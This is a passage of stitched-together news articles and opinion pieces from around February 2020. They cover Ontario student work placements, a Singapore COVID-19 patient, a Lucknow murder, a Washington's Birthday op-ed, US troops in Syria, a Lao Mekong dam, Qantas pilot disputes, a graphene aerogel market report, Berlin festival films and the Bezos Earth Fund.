opportunity like the one I have now, and to have more required or strongly encouraged opportunities like these would be incredibly valuable. Shawn Cruz, 22, Wilfrid Laurier University If theres something Ive learned from seeing how students are taught throughout their academic careers, its that integrated learning opportunities are the key to helping students succeed after graduation. From my experience, I know its something we need more of. For example, I think the courses I took in political science were incredibly valuable, but most of the skills we practised had to do with stuff like memorization and writing. What if we added more experiential learning to this? For instance, creating briefs for a local municipal government and having elected officials or staff assess the briefs and offer feedback. If we invest more in areas that encourage this kind of experiential learning, well enable more students to have work experience prior to graduation, and give them an opportunity to hone their skills. At the same time, even if a student were to have a really valuable work-integrated opportunity, its ultimately worthless if they cant articulate and advertise the skills they developed during that program. So, ideally, the government should develop frameworks that allow students to learn to convey their academic and practical writing skills to potential employers in a wide variety of sectors. We have so many qualified post-secondary students in Ontario, and I think its vital to continue supporting them through funding for work placements and frameworks for skills articulation. Thomas Hamberger, 21, University of Toronto I came from a family where, if you got a science degree, you went to med school. I went into school with the general expectation Id go to med school, and that would be that. But by my second year at U of T, I realized it wasnt for me. I wanted to do something more entrepreneurial something that combined my interest in STEM (science, technology, engineering and mathematics) with business rather than putting my head in the books for the next 10 years. Thats when I realized how few skills I had associated with the entrepreneurial and business side of things. I joined a summer program, voluntarily, offered through U of T called the Impact Centre, which teaches business skills to STEM students. We were put into internships with start-up companies in the Toronto area that aligned with our interests and, honestly, it helped not only to improve my entrepreneurial skills, but also to get a better idea of what I wanted to do after school. Its not like its just learning to code for the sake of learning to code; its learning to code because you know its a skill you want to incorporate in your professional career. This is one of the biggest problems students have in school, in my opinion. Its not that we dont have skills, its that we arent really taught what to do with them. Interdisciplinary opportunities, like the one I had, helped tremendously. Jacob Lorinc is a breaking news reporter, working out of the Star's radio room in Toronto. Follow him on Twitter: @jacoblorinc Under Illinois law, a defendant claiming self-defense can attempt to introduce evidence of the victim's history or tendencies toward violence, even if the defendant could not have known about that history at the time of the incident. The practice has been criticized as a way to unfairly smear victims of crime. People wearing protective surgical masks walk towards the Merlion Park, a major tourist attraction in Singapore, on 12 February, 2020. (PHOTO: LightRocket via Getty Images) SINGAPORE A Bangladeshi man infected with coronavirus here is in "very critical condition, the Bangladesh High Commission in Singapore confirmed on Friday (21 February). In a report by local news site CNA, the High Commission said that the COVID-19 patient, who already had respiratory and kidney problems as well as pneumonia prior to the infection, has been in the intensive care unit (ICU) for 14 days as of Thursday. This makes him one of four patients currently in critical condition in the ICU, as of Thursday. The High Commission also said that the mans family has been informed and identified him as the 42nd case of the virus in Singapore. Multiple attempts to contact the High Commission were made by Yahoo News Singapore, but it did not respond. The Ministry of Health (MOH) had previously described the patient as a 39-year-old Bangladeshi national with no recent travel history to China who first reported developing symptoms on 1 February. The man went to a general practitioner clinic two days later, before going to Changi General Hospital (CGH) on 5 February. On 7 February, he went for a follow-up appointment at Bedok polyclinic and was admitted to the CGHs ICU on the same day. He tested positive for the virus on the afternoon of 8 February and was transferred to the National Centre of Infectious Diseases (NCID), where he is currently warded in an isolation room. Before he was admitted to the hospital, the man went to Mustafa Centre along Syed Alwi Road and stayed at The Leo dormitory along Kaki Bukit Road. The man is the first of five cases all Bangladeshi nationals linked to a construction site at Seletar Aerospace Heights, one of five identified clusters in Singapore. His four compatriots are also warded in the NCID. According to a news report by The Daily Star, a daily English-language newspaper in Bangladesh, on Wednesday, Minister for Foreign Affairs Vivian Balakrishnan had updated his Bangladeshi counterpart on the five cases. Story continues The newspaper quoted the countrys foreign minister AK Abdul Momen who said that the 39-year-old patient in critical condition has not been responding to the medicine given to him. Five other Bangladeshi nationals, who are not infected but had stayed with those who are, have been quarantined there, Momen added. To date, 37 of 85 cases in Singapore have recovered from the virus and been discharged from the hospital. Most of the remaining patients are stable or improving, said the MOH on Thursday. Stay in the know on-the-go: Join Yahoo Singapore's Telegram channel at http://t.me/YahooSingapore Related stories: COVID-19: 5 Singaporeans on board Diamond Princess allowed to disembark COVID-19: Coming weeks crucial to whether containment has borne fruit, says Vivian Balakrishnan COVID-19: First patient in Singapore discharged after 28-day stay, counts himself lucky report Police in Lucknow has arrested Aman Bahadur, the prime suspect in the murder of an engineering student at Babu Banarasi Das (BBD) University in UP's capital. Prashant Singh, an undergraduate engineering student was stabbed to death Bahadur at the Alaknanda apartment in Lucknow's Gomtinagar on Thursday. According to police, the duo had got into a verbal altercation at a party in Lucknow on Wednesday, which triggered the brutal killing. Prashant arrived on Thursday afternoon to meet his relative at the Alaknanda apartment. When he reached the apartment, a group of 12 to 14 men attacked him. The assailants stabbed Prashant in the chest. He was rushed to the hospital where doctors declared him dead. Police said the three accused had entered the building compound claiming that they were there to meet someone. The incident was reportedly caught on a CCTV camera installed on the premises. CCTV visuals showed a group of men stopping a Toyota Innova car and attacking two men who are sitting in the front. Prashant, who was stabbed several times, can be seen runs out of the car. He tries to run to the nearby building but collapses. Doctors said he died of excessive bleeding. According to the police, the prime accused, Bahadur is the son of a former MLA from Bahujan Samaj Party (BSP) and Samajwadi Party (SP). "The facts are being verified," police sources added. Police said that they are conducting raids to nab another accused. A friend of the victim had on Thursday filed a complaint in the matter. Novi Sarzhany: Ukraine's effort to quarantine more than 70 people flown in from China over the coronavirus plunged into chaos on Thursday as local residents opposing the move engaged in violent clashes with police. Hundreds of police were dispatched to keep order, and some were seen dragging some protesters away from the crowd. Ukrainian riot police prepare to push back protesters, who planned to stop buses carrying passengers evacuated from the Chinese city of Wuhan, outside Novi Sarzhany, Ukraine. Credit:AP Buses carrying evacuees were finally able to reach the designated place of quarantine after hours of clashes. Earlier, several hundred residents in the Poltava region blocked the road to a sanitarium where the evacuees are to be quarantined because they feared they could become infected. By George, This Is Washingtons Birthday Weekend And Mondays celebration of 'Presidents Day' was a travesty Commentary First in warfirst in peaceand first in the hearts of his countrymen. These immortal words about George Washington from the eulogy composed by his dear friend and Continental Army comrade-in-arms, Henry Light Horse Harry Lee, should ring as true today as they did when he died in 1799. First in war: As commander-in-chief of the American Continental Army, he was the glue that effectively bound together the 13 often squabbling colonies and the compelling inspiration that turned a ragtag, ill-clothed, ill-fed, and ill-equipped citizens militia into a force that defeated the worlds most powerful military. First in peace: When our frail, newly independent country experienced one faction that favored siding with Great Britain and the other with France in the ongoing conflict between the two great European powers, his wise leadership kept the new nation neutral and at peace with all. When, a dozen years after his death, America found itself under attack on our own soil, surely it was to considerable extent because men such as Jefferson and Madison had failed to heed his warning that if we desire to secure peace it must be known that we are at all times ready for war. Peace through strength is a Washingtonian doctrine. First in the hearts of his countrymen: He was so respected and beloved following the Revolutionary War that his grateful countrymen were keen to entrust him with extraordinary power and bestow upon him any honor he might desire. But he was the man who wouldnt be kingand he humbly opted to simply return to his farm, content to be just like any other citizen in the free country in which he was its revered father. Erasing Our Memory of Washington Is a Travesty Its a travesty that we are erasing from our national consciousness the memory of The Father of Our Country and first and greatest president, when we should, as we did until not too long ago, be celebrating how blessed the United States is to have had in George Washington such an astonishingly great leader who personified character, integrity, honesty, courage, wisdom, humility, and profound love of country. Ponder what is happening to usand be embarrassed that we are putting up with it: On Feb. 17, the United States marked a federal holiday during which barely anyone actually knew what was being celebrated. By lawU.S. Code Section 6103the legal public holiday is Washingtons Birthday. Butas explained in my opinion column in these pages that day, Presidents Day? No Waydue to deceit aggressively amplified by the powers of ignorance and indifference, very few realized that we were supposed to be celebrating The Father of Our Country and first and greatest president. Instead, most thought we were celebrating a holiday we dont have, and never have had, called Presidents Day. Since it has an apostrophe after the letter s, these millions of Americans thought we were celebrating all presidents, past and present. Other millions of Americans thought we were celebrating Presidents Day. And since this version had its apostrophe before the letter s, their impression was that we were celebrating one president who just didnt happen to be identified. Still others thought we were celebrating the office of the president. Among the confused were an abundance of so-called thought leaders in the media, academia, politics, and public officeincluding the folks in charge at the U.S. House of Representatives, the folks in charge at the U.S. Senate, and the president of the United States. Disgraceful Affront to Washingtonand Our Intelligence Such atrocious misrepresentation of this legal public holidays name is disgraceful. Besides being an affront to the memory of George Washington, its an affront to our intelligence as a people. The mindless and meaningless way we now observe the February public legal holiday of Washingtons Birthday stands in sharp contrast to the intelligent and serious way we observe the January public legal holiday of the birthday of Martin Luther King Jr. Just about everyone understands whats being celebrated on Kings day because it grabs and grips our attention with so much coverage in speeches and articles and on television and radiohis remarkable achievement in extending the full promise of America from not yet enough of us to all of us; his physical and moral courage in pursuit of the ideals he espoused; his rejection of violence and unwavering insistence on non-violence; and his dream that we judge one another not by the color of our skin but by the content of our character. Now, imagine that we decide to allow that public holiday to morph into something called, say, Civil Rights Leaders Day in the way weve let Washingtons Birthday morph into Presidents Day. It doesnt require much imagination to realize that wed strip it of any true significance and, in time, erase from the national memory a great inspiration that nurtures our better angels. Which is precisely what were doing with Washington. The purpose of a holiday custom and tradition that honors a great leader is to teach our young and remind us adults about things that truly matter and inspire us to emulate the finest qualities and seek them in any who aspire to lead us. It should be more than merely an excuse for putting refrigerators on sale. This is the reason we must return to the practice of knowing what we are celebratingand why! We need a restoration of the finer culture and tradition in which we celebrate the magnificent virtue of George Washington, knowing that honoring his virtue helps make us better Americans and thus helps make America better, for as the book of Proverbs teaches us, Virtue makes a nation great. We should bring back Washingtons Birthday in the best possible wayby once again celebrating on his Feb. 22 birthday. Theres good precedent for reversing this blunder made by the 90th Congress in 1968. While lawmakers had moved Veterans Day to the fourth Monday in October, public pressure eventually forced its return to its historic dayNov. 11. When Washingtons Birthday, Feb. 22, fell on a Sunday, it was always celebrated on the following day, and if it occurred on a Saturdayas it does this yearobserved on the day before. Washingtons Wisdom Is Still Pertinent Just as Kings words from our recent history inspire and help guide us today, Washingtons words from our early history endow us with a wide and deep wellspring from which we can draw wisdom thats still pertinent. A few examples: When crackpots at the lunatic fringes of both left and right, including a few currently playing deep left field in Congress, spew vile anti-Semitism, remember how Washington, in his famous Aug. 18, 1790, letter to the Hebrew congregation of Newport, Rhode Island, so wisely repudiated such evil: The Citizens of the United States of America have a right to applaud themselves for having given to mankind examples of an enlarged and liberal policy: a policy worthy of imitation. All possess alike liberty of conscience and immunities of citizenship. It is now no more that toleration is spoken of, as if it was by the indulgence of one class of people, that another enjoyed the exercise of their inherent natural rights. For happily the Government of the United States, which gives to bigotry no sanction, to persecution no assistance requires only that they who live under its protection should demean themselves as good citizens If you worry about Americas moral decline, champion our heeding this advice from Washingtons Farewell Address: Of all the dispositions and habits which lead to political prosperity, religion and morality are indispensable supports. Where is the security for property, for reputation, for life, if the sense of religious obligation desert the oaths which are the instruments of investigation in courts of justice? It is substantially true that virtue or morality is a necessary spring of popular government. If youre concerned about the indifference to our mounting budget deficits and national debt, remember and share this wise thinking expressed by Washington in his Farewell Address: As a very important source of strength and security, cherish public credit. One method of preserving it is to use it as sparingly as possible, avoiding occasions of expense by cultivating peace, but remembering also that timely disbursements to prepare for danger frequently prevent much greater disbursements to repel it not ungenerously throwing upon posterity the burden which we ourselves ought to bear. The execution of these maxims belongs to your representatives, but it is necessary that public opinion should co-operate. As muddle-minded activists in academia and politics keep conniving to curtail and even suppress free speech, remember Washingtons warning: If freedom of speech is taken away, then dumb and silent we may be led, like sheep to the slaughter. It was to George Washington that our forefathers turned to lead them out of tyrannical domination to American independence and freedom. The United States can once again benefit greatly by turning to him to help guide us. We should quit acquiescing in this sham Presidents Day foolishness that is erasing from our national consciousness fond memory of The Father of Our Country. We should, the sooner the better, return to observing our Washingtons Birthday holiday when and how we once did when we were celebrating it properly. Fred J. Eckert is a former member of Congress and twice served as a U.S. Ambassador under President Ronald Reagan who called him a good friend and valued advisor one of a kind a man of great experience and wisdom and declared, He has a quality that is all too rare in the political world, he has political courage; I know, for I have been a personal witness to that courage. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. Two batches of US troops arrive at Remailan air base in northeastern Syria: Report Iran Press TV Thursday, 20 February 2020 2:36 PM Two batches of American troops belonging to the US-led military coalition purportedly fighting the Daesh Takfiri terrorist group have reportedly arrived at an air base in Syria's northeastern province of Hasakah. Lebanon-based Arabic-language al-Mayadeen television news network, citing local sources requesting anonymity, reported on Thursday that the soldiers arrived at Remailan base on board two military helicopters. The sources, however, did not provide any information about the exact number of the troops. The development came only a day after Syria's official news agency SANA reported that a US military convoy had passed into Syria's Hasakah province amid army advances in battles against foreign-sponsored militants. The report added that the convoy consisted of 11 trucks carrying logistic equipment and armored vehicles, and entered Syria via al-Waleed border crossing, known in Syria as al-Tanf border crossing, between Syria and Iraq. SANA noted that the convoy was deployed to a base that American forces have set up in Kharab al-Geir region of Syria's northeastern town of al-Malikiyah. On Tuesday, leaders and members of Arab tribes in Hasakah province called for the expulsion of American troops from the country, reiterating their support for the Syrian army and its campaign against Takfiri terror groups. The Arab tribal elders and leaders held a gathering in the village of Khirbat Amo in the Qamishli countryside, during which they announced their solidarity with the residents of Khirbat Amo. Sheikh Abdul Razzaq Al-Ta'i, leader of the Ta'i tribe, described the resistance that Khirbat Amo residents have put up against US forces as "heroic and honorable." He said this is the first step towards forming a resistance front against "American forces occupying our land and a clear message to reject their occupation and presence on Syrian soil". Ta'i then called for support for the Syrian army, stating that government troops have achieved great victories in their efforts to liberate all Syrian territories from terrorism and defend Syria against enemies. Syrian army finds Saudi-made medicine in militant field hospital Separately on Thursday, Syrian government forces uncovered a considerable amount of Saudi- and Qatari-made medicine and medical supplies in a field hospital belonging to foreign-sponsored Takfiri militants in the country's embattled northwestern province of Aleppo. SANA reported that army soldiers made the discovery in the town of Hayyan as they were conducting a clean-up operation in the area to beef up security and stability and prepare repatriation of local residents. The report added that the field hospital had emergency equipment, masks, clothes, filters, beds and medicine, some of which were made either in Saudi Arabia or Qatar. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address A citizen journalist submitted to RFA photos of a map showing the location of the Phougnoi Dam. A Thai hydropower company has plans to build what would be Laos sixth large-scale Mekong river dam, the latest cog in Laos ambitious plan to become the battery of Southeast Asia. The Thailand-based Charoen Energy and Water Asia Co. Ltd. (CEWA) presented to Lao authorities the results of studies related to the Phougnoi dam project at a meeting in Pakse city on Feb. 11. According to the plans, the Phougnoi dam would be located in Champassak province, 10 kilometers (6.2 miles) south of Pakse and about 100 kilometers (62 miles) north of the Don Sahong dam, which recently began operations. The company presented the results of the initial feasibility study and the environmental impact assessment of the proposed dam at the meeting, an official at the Champassak Provincial Administration Office told RFAs Lao Service on Wednesday. Right now, they have not yet built anything and have many more steps to go through, so construction will not begin any time soon, the official added. The official said he did not know when the Lao government would notify the Mekong River Commission about the project, a mandatory step for new Mekong river developments that would begin a six-month prior consultation process that would include an impact assessment for affected neighboring countries. The initial studies [presented at the Feb. 11 meeting] focused on the impact on local people, but not in much detail. If [the developer and Laos government] go ahead with this project, they will need more details on how it would impact people who live downstream from the dam, the official said. The studies showed that the Phougnoi dam would affect more than 200 hectares (500 acres) of land, home to 88 villages in seven districts. The most affected village would be Khon Ken village, where 811 residents reside in 142 households. Details of construction costs and power purchase agreements have not yet been revealed. A CEWA representative told RFA Wednesday that the company has completed designs for the dam as well as the initial studies into the environmental and social impacts of the project. Residents told RFA they are concerned about the potential impact. Why is the Lao government building so many dams? a resident of Champassak provinces Champassak district asked. We already have too many. If we build more, droughts will be more severe and the water level on the Mekong will get lower and lower, the resident said. A village chief in Sanasomboun district, an area which would be greatly affected, told RFA that none in the village had heard anything about the development project yet. Stakeholders urge Laos to share more information Meanwhile at northern Laos Xayaburi dam, which began commercial operations in October, government officials and stakeholders toured the facilities Thursday and recommended that the dams developer share information about its operation with the lower Mekong countries. The 50-person tour included NGO representatives, researchers, journalists and specialists from the MRC Secretariat. According to a report on the MRC website, the tour included presentations by the dams developer on the plants design, with visits to fish passes, flushing gates, and views of water levels both up and downstream. We want the site visit to speak for itself regarding the situation of low flows and drought in the Mekong, said Anoulak Kittikhoun, Chief Strategy and Partnership Officer at the MRC Secretariat and leader of the tour. Wed like our stakeholders to see the dam and its operation with their own eyes and pose questions to the developer so that they can form their own assessment. The visitors said they were appreciative of the developers openness, but they expressed their hope that the company would share with the MRC Secretariat data on the dams operation including water flow, sediment transport and migration. Observed data and information on sediment and fish migration above and below the dam as well as on energy generation should be shared, said Nhan Quang Nguyen, representing a Vietnamese NGO, the Centre for Promotion of Integrated Water Resources Management. Transparent and timely sharing of this information could help the people and relevant authorities make better planning, he said. Knut Sierotzki, an engineering consultant for a Finnish company that assists the Xayaburi power company tried to quell concerns about the dam storing excessive amounts of water. There is no storing of water what flows in will eventually flow out, Mr. Sierotzki said. The flow regime of the river is not changed. The inflow water is constantly released either through the turbines or spillway, he added. He also said the discharge during this dry season was about 50% higher than that of the 2003-2004 dry year which saw the water flowing out between 800 1000 cubic meters/second. But Patchara Jaturakomol of Thailands Kasetsart University said Sierotzkis claim illustrates why the data needs to be shared. If the developer were to make the official data public, the data could speak for itself, she said. Laos has built dozens of hydropower dams on the Mekong and its tributaries, hoping to export the electricity they to other countries in the region. It is preparing to build scores more dams in the years ahead. Though the Lao government sees power generation as a way to boost the countrys economy, the projects are controversial because of their environmental impact, displacement of villagers, and questionable financial arrangements. Reported by RFAs Lao Service. Translated by Max Avary. Written in English by Eugene Whong. With cost-cutting wracking the global airline industry, QantasAustralias largest airline operatorhas issued an ultimatum to its long-haul pilots. It is threatening to hire outside crews for proposed ultra-long-haul flights if the pilots do not accept regressive working conditions. At the same time, the companys low-cost Jetstar subsidiary is conducting a confrontation with its pilots and ground crews, triggering another round of stoppages around the country this week. Qantas has conducted protracted negotiations with the Australian and International Pilots Association (AIPA) for a new enterprise work agreement (EBA10) covering long-haul pilots. A section of a Qantas airplane [Credit: pxfuel.com] The gruelling flights will operate non-stop from Australias east coast to London and New York, beginning in 2023. Dubbed Project Sunrise, this will require Qantas to place a firm order with Airbus for new A350-1000 aircraft. Not only would the non-stop flights mean pilots spending longer hours in the air, adding to the levels of fatigue, and even greater periods away from home. They would also suffer a substantial loss in pay. The company also has demanded a two-tier wage system, paying new pilots less, plus the removal of some night creditsa pay loading for long flightsand the reduction of overtime pay rates, for working a straight 12 hours, from double-time to time and a half. While Qantas claims that under its proposed agreement captains would be paid a base salary of $395,000 a year, one media outlet that viewed the agreement reported that the captains would receive $342,000. Last week, in a letter to the AIPA and the pilots, Qantas International CEO Tino La Spina warned that if the company could not secure an agreement that meets the Sunrise investment case within the Airbus time frame we will be left with no viable alternative but to have the Sunrise flying performed by a new employment entity. Provocatively, La Spina added: We know that flagging this will not be well received by many of you. But we want to make sure you have all relevant information when you are weighing your decision on the EBA10. He claimed that failure to agree before March 31 would mean Qantas losing its time slot for delivery of the Airbus order. Making clear he expects the APIA to step up its efforts to beat down resistance among pilots, La Spina threatened to end negotiations and sidestep the union. Throughout the current conflict, as in all past EBA disputes, the APIAs main concern has been to maintain the companys reliance on it as an industrial police force, bargaining away the conditions of its members. In the past, the APIA has been able to contain opposition by its members and deliver Qantass cost-cutting demands. At the end of 2013, for example, together with other airline unions and the Australian Council of Trade Unions (ACTU), the APIA joined closed-door meetings with Qantas in the wake of its announcement to slash 1,000 jobs. This was in addition to the already 8,000 jobs axed in the previous four years, as part of the companys drive to impose billions in cost reductions. The unions assured Qantas they would do everything possible to suppress workers opposition to the job destruction and work to deliver on-going savings, including wage freezes and reduced working conditions. Such past betrayals have galvanised an outspoken opposition among pilots, who have begun issuing inter-worker communiques, not endorsed by the union, calling on their colleagues to reject the proposed agreement. One such communique, dated January 22, stated: We work over Christmas, weekends, all through the night, and now theyre asking us to do a flight that is currently illegal, with serious safety questions, and instead they just want to nickel and dime the pilots. It warned: Qantas pilots in cockpits all over the world will be distracted today and over the coming weeks by Tinos email and the threat to their jobs. The rejection of the agreement would be the first necessary step in mounting a counter-offensive against Qantass decades-long assault on its entire workforce, and similar attacks throughout the global airline industry. As Qantas pilots resist the companys attack, their fellow workers at Jetstar, including pilots and ground staff, are fighting the companys ongoing assault on their jobs and conditions. The Transport Workers Union (TWU) has called for a 4 percent annual pay rise for the ground staff, an increase in the number of rest breaks, and a minimum of 12-hour breaks between shifts. Workers are also demanding measures to halt the exploitation of casual workers, such as guarantees that the airline will employ more permanent workers and an increase in the minimum hours of work that Jetstar can offer from 20 to 30 hours. The Australian Federation of Air Pilots (AFAP), which accepted an 18-month pay freeze in the last agreement covering Jetstar pilots, is calling for an annual wage rise of 3 percent, not enough to cover sharp rises in the cost of living. Jetstar has rejected the claims of ground staff and pilots as unsustainable. In response to limited strike action, it has threatened to ground its entire operation and lock out its workforce, emulating the aggressive action taken by Qantas in 2011. However, the trade unions covering the Jetstar workforce are containing all opposition to short stoppages. They are working to prevent any link up with the pilots fight at Qantas. The unions are acutely conscious of the resurgence of workers struggles internationally, often outside the control of the unions. They fear similar developments in this country. A unified fight by workers at Qantas and Jetstar could become a focal point for a struggle across the entire working class against the ongoing corporate onslaught on workers conditions. The record shows that airline workers at Qantas, Jetstar and across the industry can place no faith in the unions and must take matters into their own hands. The turn must be to the establishment of new independent organisations of struggle, such as rank and file committees, guided by a socialist perspective. The author also recommends: Jetstar Australia pilots and airline workers strike over wages and conditions [18 December 2019] DUBLIN, Feb. 21, 2020 /PRNewswire/ -- The "Aerographene/Graphene Aerogel Market" report has been added to ResearchAndMarkets.com's offering. The Report Includes: An overview of the global aerographene/graphene aerogel market Analyses of global market trends, with market data from 2018, 2019, and projections of compound annual growth rates (CAGRs) through 2024 Insights into government regulations with respect to power consumption and initiatives for shaping the graphene aerogel market Evaluation of current market size, a market forecast to 2024, and market share analysis of the leading suppliers of the industry In Europe and North America, the market is witnessing stable performance due to high deployment in the automotive sector. Awareness about the product and its applications is the main reason for the increasing demand in these regions. The larger number of patients from these regions is a good indication of product development in North America and Europe. Rising industrial growth and the development of the electronics, automotive, and paints and coatings industry sectors are the primary reasons behind the growth of the aerographene/graphene aerogel market in the Asia-Pacific region. Growth will be strong in India and China due to industrialization, population growth, and high demand. In Asia-Pacific, Japan holds the most patents for aerographene/graphene aerogel products. This is encouraging Japanese aerographene manufacturers to expand their business in this region. In overall terms, however, volatile economic growth is slowing market growth in Asia-Pacific. The Rest of the World markets will see better growth during the forecast period. Key Topics Covered: Chapter 1 Introduction Reasons for Doing This Study Information Sources Key Data from Secondary Sources Key Data from Primary Sources Methodology Geographic Breakdown Analyst's Credentials Custom Research Related Reports Chapter 2 Evolution, Roadmap and Summary Development and Evolution of Aerographene/Graphene Aerogel Report Summary Chapter 3 Aerographene/Graphene Aerogel: Future and Growth Prospects Introduction Future Prospects Market Dynamics: Drivers and Restraints Market Drivers Restraints Opportunities Chapter 4 Aerographene/Graphene Aerogel Market by Product Type Introduction Granules Powder Blocks Tiles Others Chapter 5 Aerographene/Graphene Aerogel Market by Application Introduction Nanocatalyst Hydrogen Storage Desalination Systems Supercapacitors Fuel Cells Chapter 6 Aerographene/Graphene Aerogel Market by End-User Industry Introduction Paints and Coatings Aerospace Automotive Defense Industrial Oil and Gas Electronics Others Chapter 7 Aerographene/Graphene Aerogel Market by Region Introduction North America Europe Asia-Pacific Rest of the World Chapter 8 Company Profiles Aerogel Technologies Llc American Elements Aspen Aerogel Inc. BASF SE Cabot Corp. Graphene 3D Lab Inc. Reade International Corp. For more information about this report visit https://www.researchandmarkets.com/r/lneijp Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1907 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com Youre reading this weeks At War newsletter. Sign up here to get it delivered to your inbox every Friday. Email us at atwar@nytimes.com. Although World War II ended nearly 75 years ago, the oceans are still giving up their secrets of where the dead fell. Last week, the private group Project Recover announced that it had found three U.S. Navy warplanes lost during the February 1944 battle for the island of Truk (now known as Chuuk) in the Pacific Ocean. The lagoon there, long a tourist destination for divers, is still dotted with the wrecks of sunken ships and aircraft that have yet to be identified. The Times reporter Robert Trumbull filed several reports from the battle, which he observed from the bridge of a battleship under Vice Adm. Raymond A. Spruances task force. In one dispatch, he described a four-hour fight that resulted in enormous losses of Japanese ships and aircraft. After sinking four and possibly five enemy warships within sight of the Truk Islands, Trumbull wrote, the small but powerful striking force of which this brand-new battleship is a unit boldly circled the atoll last night, interposing ourselves between Truk and Japan. Melissa Phillip, Staff photographer / Houston Chronicle As the presidential nominating contest heats up, many Texas Democrats are watching and waiting to see how the Nevada caucuses and the South Carolina primary play out before casting their votes. Jeremy has the numbers. Plus Andrea takes a deep dive look at the surge in millennials running for office across the Great State. All that and more as we go behind the headlines for a look at what's really going on at the Texas Capitol and in Washington with the state's #1 political podcast: The Texas Take. Join the conversation featuring Scott Braddock, editor of The Quorum Report and Houston Chronicle political reporters Jeremy Wallace and Andrea Zelinski. Click here to read the full article. Competition All the Dead Ones Caetano Godardo, Marco Dutra Following up on their Locarno-prized Good Manners, genre auteur Dutra and Gotardo deliver a lushly turned-out family drama that converts ghostliness into political metaphor, conflating 1899 Sao Paulo with its high-rise present, asking if the uneasy relationship between Brazils white elite and black majority has essentially changed. Sales: Indie Sales Encounters Los Conductos Camilo Restrepo Pinky, on the run from a sect, takes to squatting, making T-shirts for a living, taking drugs and spinning images of the Apocalypse, damnation, revenge. A spectral, crazed allegory of Colombian post-civil conflict reinsertion that won Mar del Platas 2019 Works in Progress. Sales: Best Friend Forever More from Variety Panorama A Common Crime Francisco Marquez Set in class-riven Argentina and packing, reportedly, a great finale and commanding performance from lead Elisa Carricajo as an Argentine university teacher who fails to help her maids son, with literally haunting consequences. Sales: Cercamon Dry Wind Daniel Nolasco A seemingly straight-arrow, stylish and candid LGBTQ erotic drama set in Brazils sticks discovers hidden depths and finally a good-humored humanism as a stolid, bottled-up loner develops a sexual obsession for a statuesque factory co-worker. Brazilian queer cinema has a sense of urgency, which Dry Wind captures, says Panorama head Michael Stutz. Sales: The Open Reel Shine Your Eyes Matias Mariani A big surprise, says Carlos Chatrian, artistic director of the Berlin Film Festival, a dreamlike psychological thriller, tracking Amidi searching for older brother Ikenna in Sao Paulos African community in a world of fluid identity, nostalgia for ancestral culture, labyrinthine architecture and moments of happiness. Sales: MPM Premium Story continues Panorama Dokumente Amazon Mirror Federico Segtowick A documentary that peels away layers of corruption, media manipulation, ecological and human disaster behind the construction of the Amazons Tupuri hydroelectric plant under military dictatorship. Urgent, very contemporary and beautifully shot in black-and-white with very high contrast, says Stutz. Sales: ELO Co. Nardjes A. Karim Ainouz The latest from Ainouz, following 2019 Cannes Critics Week winner Invisible Life of Euridice Gusmao, this is a documentary shot on the fly capturing the empowerment, exhilaration and illusions of Algerias Revolution of Smiles. Sales: MPM Premium Forum Divinely Evil Gustavo Vinagre From a lavish, salmon-colored sitting room adorned with Victorian furniture and leather-clad mannequins, Wilma Azevedo, 74, Brazils queen of sadomasochistic literature tells her vibrant, sprawling life story. Light in the Tropics Paula Gaitan Brazilian films exceed traditional notions of self-reflective auteurs, talking from personal viewpoints about big questions for society, says Chatrian. One case in point, and totally unexpected, he adds, is Light in the Tropics, merging ethnographic documentary and fiction to rediscover Brazils indigenous communities in a 255-minute triptych feature. Window Boy Wants to Have a Submarine Alex Piperno A singular title for a singular film from Uruguays Piperno, a low-fi sci-fi relationship drama with social and ecological overtones as a deckhand on a Patagonia cruise ship discovers a portal to a lonely young womans apartment in Montevideo. Sales: Square Eyes Generation 14plus Alice Junior Gil Baroni Chatrian calls it a breath of fresh air. The world of a transgender teenage YouTuber is flipped upside down when she moves to a conservative rural town with her always-supportive single father. Sales: Moro Filmes My Name Is Baghdad Caru Alves de Souza Seventeen-year-old female skater Baghdad lives in a Sao Paulo working-class neighborhood, skates with male friends until she happens upon a group of female skaters who change everything. Sales: Reel Suspects Sisters in the End of the World Vinicius Lopes, Luciana Mazeto Their mother is dying, fathers never cared, but Ana and Ju find solidarity in one other, even as the world around them collapses. Sign up for Varietys Newsletter. For the latest news, follow us on Facebook, Twitter, and Instagram. Amazon CEO Jeff Bezos, the worlds wealthiest individual, announced on Monday that he is creating a $10 billion charitable fund with his own money to address climate change which will start issuing grants as soon as this summer. In an Instagram post that included a photo of the Earth, the Amazon founder wrote that he was creating the Bezos Earth Fund to work alongside others both to amplify known ways and to explore new ways of fighting the devastating impact of climate change on this planet we all share. Bezos also said that the fund would be a global initiative that would provide resources to scientists, activists, NGOsany effort that offers a real possibility to help preserve and protect the natural world. He concluded, We can save Earth. Its going to take collective action from big companies, small companies, nation states, global organizations, and individuals. Jeff Bezos (right) and his girlfriend Lauren Sanchez [Credit: AP Photo/Rafiq Maqbool, File] The $10 billion in philanthropy represents less than eight percent of Bezoss estimated $130 billion net worth. In the world of billionaire charitable giving, the Amazon CEO would jump to third place behind Warren Buffett, who gave $36 billion to the Bill and Melinda Gates Foundation in 2006, and Helen R. Walton, who provided $16.4 billion to the Walton Family Foundation in 2007. While there are many questions about the Bezos Earth Fund and how it will operate, one thing is abundantly clear: a significant portion of the $10 billion fund, if not all of it, will be subsidized by the US tax code. Therefore, Bezoss charitable global initiative is in reality a massive American tax shelter that will drain critical government funding. The launching of the fund is at least in part a response by the Amazon founder to growing protests by employees at the multinational technology company who have publicly criticized Bezos for his lack of response to climate change. According to its own sustainability report in 2018, Amazon is a massive polluter with a total annual carbon footprint of 44.40 million metric tons (mmt) of carbon dioxide equivalent. This carbon volumefrom fossil fuel-burning fleets of vehicles delivering packages around the world, immense amounts of electricity consumption at its Amazon Web Services data centers and many other sources, including its cardboard boxes and infamously wasteful bubble wrap packagingis greater than that of Norway, Hong Kong, Ecuador and Sweden. As reported on the World Socialist Web Site, the conflict between Amazon staff and company ownership came to a head on January 26 when more than 350 employees defied a corporate communications directive and spoke out publicly against its climate policy as well as other social and political issues. A group called Amazon Employees for Climate Justice organized a worldwide walkout of 